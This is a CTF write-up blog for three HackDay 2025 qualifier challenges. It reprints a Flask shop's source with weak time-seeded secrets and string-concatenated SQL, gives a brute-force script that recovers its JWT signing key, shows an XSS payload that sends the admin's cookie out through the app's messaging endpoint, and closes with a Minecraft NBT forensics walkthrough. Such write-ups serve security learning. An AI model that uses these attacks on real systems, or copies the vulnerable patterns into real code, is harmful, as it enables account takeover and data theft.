HackDay 2025 Quals | Your region's finest, Internal Blog (Web) | Hello Steve (Forensics)
Easy challenges

I solved challenges in the 2025 quals for HackDay, I decided to write some writeups about the most interesting tasks.
Your Regions's Finest (Web) :
This challenge is some kind of "herbs" store, we are given some code with.
from flask import Flask, render_template, request, jsonify, redirect, url_for, make_response
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import text
from flask_jwt_extended import JWTManager, create_access_token, jwt_required, get_jwt_identity, set_access_cookies, unset_jwt_cookies, get_jwt
from werkzeug.security import generate_password_hash, check_password_hash
import os, time, random, string, math
# I saw in the official _randommodule.c in which both time and pid are used to seed the random generator
# So that must be a good idea, right ? :) Just gonna do it simpler here, but should be as safe.
up = math.floor(time.time())
random.seed(up + os.getpid())
app = Flask(__name__)
app.config['SECRET_KEY'] = "".join(random.choice(string.printable) for _ in range(32))
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////app/data/site.db'
app.config['JWT_SECRET_KEY'] = "".join(random.choice(string.printable) for _ in range(32))
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['JWT_COOKIE_CSRF_PROTECT'] = False
db = SQLAlchemy(app)
jwt = JWTManager(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
class Product(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(100), nullable=False)
description = db.Column(db.Text, nullable=False)
price = db.Column(db.Float, nullable=False)
image = db.Column(db.String(20), nullable=False, default='static/images/default.png')
published = db.Column(db.Boolean, default=True)
class Flag(db.Model):
id = db.Column(db.Integer, primary_key=True)
flag = db.Column(db.String(100), nullable=False)
@app.route('/')
def home():
products = Product.query.filter_by(published=True).all()
return render_template('home.html', products=products)
@app.route('/product/<int:product_id>')
def product(product_id):
product = Product.query.get_or_404(product_id)
if not product.published:
return render_template('product.html', error="Product not available anymore")
return render_template('product.html', product=product)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
access_token = create_access_token(identity=username, additional_claims={'favorite_product': None})
resp = make_response(redirect(url_for('home')))
set_access_cookies(resp, access_token)
return resp
else:
return render_template('login.html', error="Username or password incorrect")
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('home')))
unset_jwt_cookies(resp)
return resp
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
existing_user = User.query.filter_by(username=username).first()
if existing_user:
return render_template('register.html', error="Username already taken")
hashed_password = generate_password_hash(password)
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/preferences', methods=['GET', 'POST'])
@jwt_required()
def preferences():
claims = get_jwt()
current_user = get_jwt_identity()
if request.method == 'POST':
favorite_product_id = int(request.form['favorite_product'])
product = Product.query.get(favorite_product_id)
if not product:
return render_template('preferences.html', error="Product does not exist", products=Product.query.all(), current_user=current_user)
new_token = create_access_token(identity=get_jwt_identity(), additional_claims={'favorite_product': favorite_product_id})
resp = make_response(redirect(url_for('home')))
set_access_cookies(resp, new_token)
return resp
products = Product.query.all()
return render_template('preferences.html', products=products, favorite_product=claims.get('favorite_product'), current_user=current_user)
@app.route('/favorite_product_info')
@jwt_required()
def favorite_product_info():
claims = get_jwt()
favorite_product_id = claims.get('favorite_product')
if favorite_product_id:
favorite_product = Product.query.get(favorite_product_id)
try:
favorite_product = db.session.execute(text("SELECT * FROM product WHERE id = " + str(favorite_product_id))).fetchone()
except Exception as e:
return render_template('favorite_product_info.html', product=None, error=e)
return render_template('favorite_product_info.html', product=favorite_product)
return render_template('favorite_product_info.html', product=None)
@app.route('/check_auth')
@jwt_required(optional=True)
def check_auth():
claims = get_jwt()
return jsonify(logged_in=get_jwt_identity() is not None, favorite_product=claims.get('favorite_product')), 200
@app.route("/healthz")
def healthz():
return jsonify(status="OK", uptime=time.time() - up)
def create_data():
# clear all Product db
db.session.query(Product).delete()
product1 = Product(name=f'Space Cookie', description='Cookies so delicate, they might just break! No need for brute force, one bite and they’ll melt right into your hands.', price=random.randrange(10, 100))
product2 = Product(name='Syringe', description='To, hum, inject yourself with medicine I guess ?', price=random.randrange(10, 100))
product3 = Product(name='Cool looking leaf', description='To add a nice scent to your house :)', price=random.randrange(10, 100))
with open("flag.txt","r") as f:
flag = Flag(flag=f.read().strip())
db.session.add(product1)
db.session.add(product2)
db.session.add(product3)
db.session.add(flag)
db.session.commit()
if __name__ == '__main__':
with app.app_context():
db.create_all()
create_data()
app.run(host="0.0.0.0", port=5000)
From this we can see the most obvious vulnerability is at /favorite_product_info, where there is an sql injection, to acheive it we need to put our sqli payload in the cookie.
There is no normal way to put that payload into the JWT token since /preference sanitizes the input before updating the field.
The only way is to get the secret key. We can see that the app uses a seed for the random values, it's the up value which is the time when the was first deployed + pid of the app, we can get the up from /healthz then brute force to all closest values of that to get the random seed and generate our key.
import requests
import time,random,math,string
import base64
import hmac
import hashlib
def base64_url_decode(data):
# Add padding if necessary for base64 URL decoding
padding = '=' * (4 - len(data) % 4)
data += padding
return base64.urlsafe_b64decode(data)
def sign_with_secret(header_payload, secret):
# HMAC SHA-256 signature
return hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
def guess_secret_key(token, possible_secrets):
# Split the token into its components (header, payload, and signature)
header_b64, payload_b64, signature_b64 = token.split('.')
# Decode the header and payload
header_payload = header_b64 + '.' + payload_b64
original_signature = base64_url_decode(signature_b64)
for secret in possible_secrets:
# Generate the expected signature with the secret
generated_signature = sign_with_secret(header_payload, secret)
# Compare the generated signature to the token's signature
if hmac.compare_digest(generated_signature, original_signature):
print("key="+base64.b64encode(secret.encode()).decode())
return True # Secret is correct
return False # No match found
# Send the request to the endpoint
response = requests.get('http://challenges.hackday.fr:58990/healthz')
tiem = time.time()
data = response.json()
# Get the uptime value from the response
uptime = data['uptime']
# Calculate the new uptime
up = tiem - uptime
# Print the new uptime
print(f'New uptime: {math.floor(up)}')
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzc1NzY5OSwianRpIjoiN2FiNzljYzItZmVlOS00MWJhLTkyMGMtZjdiNDE0MTVlMzNiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRhemFyIiwibmJmIjoxNzM3NzU3Njk5LCJleHAiOjE3Mzc3NTg1OTksImZhdm9yaXRlX3Byb2R1Y3QiOm51bGx9.m0S4zdH78021V_n_2RVDgJ71zqJw3sA9EaJ5H-SS2bw"
uped = math.floor(up)
A=[]
for i in range(-1000,1000):
random.seed(uped+i)
A.append("".join(random.choice(string.printable) for _ in range(32)))
A.append("".join(random.choice(string.printable) for _ in range(32)))
if guess_secret_key(token, A):
print("Successfully guessed the secret key!")
else:
print("Failed to guess the secret key.")
That script does just that and after running it it would give me a base64 key.

Now we use that key to change the value of favorite product in the jwt token to our sqli payload.

Then use that token to get the flag.

Internal Blog (Web) :
This challenge consists of a blog, our objective in here is to steal the admin cookie.
One of the posts says :
Publish an article to get your profile verified !You want to get your Account verified ? Publish your first article and an Administrator will check your profile !
Notice that even if your account is verified, for every article published, your account will be visited by an Admin for safety reasons.
By : Administrator, On : Mon Jan 27 2025
So we need to make the admin access our account.
We are also given a code snippet :

From that code we can see that the anti XSS method is useless since it does not stop the account creation, we can test this by creating an account then getting that prompt and then accessing the profile using the token.


So it's just a simple XSS, the only problem here, the policy only let's you fetch localhost and no other website, so in order to steal the cookie we need to find a way.

Luckily there is a send message feature in the app so we can send the cookie to our profile, so now all we need to do is create a profile with the payload that contains the contact ID, and then create an article so the admin would check the profile.
<img src=x onerror="fetch('http://localhost:3000/sendmessage', {method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'contact=95d7f65b-7c6f-436d-88ed-575c59d59f55&message=XX'+encodeURIComponent(btoa(document.cookie)) });">
After a few seconds, the admin will eventually check our profile, we will then be sent the flag.


Hello Steve (Forensics/Misc) :
In this challenge we are given a Minecraft world, the challenge description says :
Hello Steve,
I was Hunting for the new mace weapon for the London museum and during my journey i got stuck in a trial chamber. Please send me help, mob are trying to kill me. I have put a book with some information please find them to save me.
So we need to find a book in the game, to solve this we have two ways.
Method 1 :
this method requires that you have minecraft installed and NBT Studio, using it we can find the version of the world.

We run the game in that version and upon entering we get a book that is empty, what you gotta do is grab the book and input this command to show the hidden values for that item.
/data get entity @p SelectedItem

Pretty easy method but not a good one since it requires minecraft.
Method 2 :
This method would require a little bit more tinkering and no minecraft.
We need NBT Studio. We are gonna assume the book is near the spawn point of the players so we are gonna first get the play position.

From that we can guess the region file and the chunk coordiantes :
#to find the chunks
chunkX = floor(X / 16)
chunkZ = floor(Z / 16)
#to find the region
regionX = floor(chunkX / 32)
regionZ = floor(chunkZ / 32)
Then from those coordinates we can conclude that the chunk coordinates are (-22, 9) and the file is r.-1.0.mca .
searching in the block entities in that region we can find our book block and the flag with it.

Thank you for reading.
Last updated